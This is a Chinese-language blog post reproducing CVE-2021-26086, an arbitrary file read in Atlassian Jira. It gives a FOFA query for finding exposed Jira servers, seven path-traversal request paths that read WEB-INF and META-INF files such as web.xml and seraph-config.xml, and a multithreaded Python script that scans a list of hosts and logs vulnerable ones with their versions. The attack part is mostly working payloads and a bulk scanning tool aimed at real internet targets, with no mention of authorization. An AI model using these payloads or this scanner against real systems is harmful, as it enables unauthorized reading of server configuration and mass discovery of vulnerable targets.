Jira 任意文件读取复现(CVE-2021-26086)

Jira 任意文件读取泄漏复现(CVE-2021-26086)

漏洞通报:https://www.seebug.org/vuldb/ssvid-99336

影响版本

version < 8.5.14
8.6.0 ≤ version < 8.13.6
8.14.0 ≤ version < 8.16.1

前言

此漏洞CVE编号和上面的Confluence信息泄漏漏洞编号连着,且利用方式类似,jira和confluence是一家公司的产品,里面有很多代码规范相似。

Jira

JIRA是Atlassian公司出品的项目与事务跟踪工具,被广泛应用于缺陷跟踪、客户服务、需求收集、流程审批、任务跟踪、项目跟踪和敏捷管理等工作领域。

JIRA中配置灵活、功能全面、部署简单、扩展丰富,其超过150项特性得到了全球115个国家超过19,000家客户的认可。

漏洞复现

1、直接搜fofa尝试找找案例

1
app="ATLASSIAN-JIRA"

image-20211113212703526

2、具体POC如下,来源CVE-2021-26086

1
2
3
4
5
6
7
/s/cfx/_/;/WEB-INF/web.xml
/s/cfx/_/;/WEB-INF/decorators.xml
/s/cfx/_/;/WEB-INF/classes/seraph-config.xml
/s/cfx/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties
/s/cfx/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.xml
/s/cfx/_/;/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml
/s/cfx/_/;/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.properties

3、复现结果展示

image-20211113213355402

4、多线程批量检测漏洞exp by 孤桜懶契

image-20211113220149713

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# coding=utf-8
import requests
import base64
import re
import sys
import os
import json
import threading

banner = '''


version < 8.5.14
8.6.0 ≤ version < 8.13.6
8.14.0 ≤ version < 8.16.1

python by 开勒普 孤桜懶契

usage: python exp.py

'''
print(banner)


def get_version(url):
url_requests = url + "/s/cfx/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.xml"
res=requests.get(url=url_requests)
if res.status_code == 200:
result = re.findall('version-number\" content="(.*?)\">',res.text)
print("【*】 {} 存在漏洞--读取版本".format(url_requests),result)
with open("Jiraresult.txt", "a+") as a:
a.write("【*】 {} 存在漏洞--读取版本号: {} \n".format(url_requests,result))


if __name__ == "__main__":
with open("Jira.txt", "r") as f:
Jira = f.read().split("\n")
i = 0
print(len(Jira))
while True:
if i < len(Jira) and threading.active_count() < 50:
t = threading.Thread(target=get_version, args=(Jira[i],))
t.start()
i += 1
print(i, "/", len(Jira))
if i == len(Jira) and threading.active_count() == 1:
print("finish")
break

结尾

附上一小部分检测截图

image-20211113220242598

本文标题:Jira 任意文件读取复现(CVE-2021-26086)

文章作者:孤桜懶契

发布时间:2021年11月25日 - 11:19:38

最后更新:2022年05月24日 - 21:01:41

原始链接:http://gylq.gitee.io/time/posts/1.html

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

-------------------本文结束 感谢您的阅读-------------------